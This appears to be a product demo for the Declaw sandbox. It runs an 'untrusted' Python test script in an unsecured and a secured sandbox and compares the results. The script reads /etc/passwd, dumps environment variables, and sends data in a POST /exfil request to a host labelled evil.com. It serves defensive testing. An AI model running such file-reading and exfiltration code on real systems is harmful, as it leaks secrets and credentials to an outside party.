With vs Without Declaw

UNTRUSTED_SCRIPT = """\
import os, json, socket

# Test 1: Read /etc/passwd
try:
    with open("/etc/passwd") as f:
        lines = f.read().strip().split("\\n")
    print(f"Test 1 (read /etc/passwd): Read {len(lines)} lines")
except Exception as e:
    print(f"Test 1 (read /etc/passwd): FAILED ({e})")

# Test 2: Access environment variables
env_vars = dict(os.environ)
print(f"Test 2 (env vars): Found {len(env_vars)} variables")
for key in sorted(env_vars.keys())[:5]:
    print(f"  {key}={env_vars[key][:40]}")

# Test 3: Write to /tmp
try:
    with open("/tmp/untrusted_output.txt", "w") as f:
        f.write("data from untrusted code")
    print("Test 3 (write /tmp): Write succeeded")
except Exception as e:
    print(f"Test 3 (write /tmp): FAILED ({e})")

# Test 4: Network connectivity
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect(("1.1.1.1", 80))
    s.close()
    print("Test 4 (network): CONNECTED")
except Exception as e:
    print(f"Test 4 (network): BLOCKED ({e})")

# Test 5: Exfiltrate data
stolen = json.dumps({"env": list(env_vars.keys())[:3]})
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect(("93.184.216.34", 80))
    s.sendall(f"POST /exfil HTTP/1.1\\r\\nHost: evil.com\\r\\n\\r\\n{stolen}".encode())
    s.close()
    print("Test 5 (exfiltrate): Data sent")
except Exception as e:
    print(f"Test 5 (exfiltrate): BLOCKED ({e})")
"""

from declaw import Sandbox

unsecured_sbx = Sandbox.create(template="python", timeout=300)

from declaw import Sandbox, SecurityPolicy, PIIConfig, InjectionDefenseConfig, AuditConfig

secured_policy = SecurityPolicy(
    pii=PIIConfig(
        enabled=True,
        types=["email", "ssn", "credit_card"],
        action="redact",
    ),
    injection_defense=InjectionDefenseConfig(
        enabled=True,
        sensitivity="high",
        action="block",
        domains=["api.openai.com"],
    ),
    audit=AuditConfig(enabled=True),
)

secured_sbx = Sandbox.create(
    template="python",
    timeout=300,
    security=secured_policy,
    allow_internet_access=False,
)

def run_in_sandbox(sbx: Sandbox) -> str:
    sbx.files.write("/tmp/untrusted.py", UNTRUSTED_SCRIPT)
    result = sbx.commands.run("python3 /tmp/untrusted.py", timeout=20)
    return result.stdout

try:
    print("--- UNSECURED Sandbox ---")
    print(run_in_sandbox(unsecured_sbx))

    print("--- SECURED Sandbox ---")
    print(run_in_sandbox(secured_sbx))
finally:
    unsecured_sbx.kill()
    secured_sbx.kill()

--- Running Untrusted Script in UNSECURED Sandbox ---
Test 1 (read /etc/passwd): Read 32 lines
Test 2 (env vars): Found 11 variables
  HOME=/root
  PATH=/usr/local/sbin:...
Test 3 (write /tmp): Write succeeded
Test 4 (network): CONNECTED
Test 5 (exfiltrate): Data sent

--- Running Untrusted Script in SECURED Sandbox ---
Test 1 (read /etc/passwd): Read 32 lines
Test 2 (env vars): Found 11 variables
  HOME=/root
  PATH=/usr/local/sbin:...
Test 3 (write /tmp): Write succeeded
Test 4 (network): BLOCKED ([Errno 110] Connection timed out)
Test 5 (exfiltrate): BLOCKED ([Errno 110] Connection timed out)

--- Side-by-Side Comparison ---
  Read /etc/passwd         Both                 Both read sandbox's /etc/passwd, not the host's.
  Environment variables    Both                 Both see sandbox env vars. Host secrets never exposed.
  Write to /tmp            Both                 Both can write. Files destroyed with the sandbox.
  Network connectivity     Unsecured ONLY       Secured sandbox blocks all outbound via deny-all policy.
  Data exfiltration        Unsecured ONLY       Secured sandbox cannot send data out.
  PII in HTTP traffic      N/A vs Redacted      Secured sandbox redacts PII in any allowed HTTP traffic.
  Injection payloads       N/A vs Blocked       Secured sandbox blocks injection attempts in API calls.
  Audit trail              No vs Yes            Secured sandbox logs lifecycle + egress decisions (not bodies).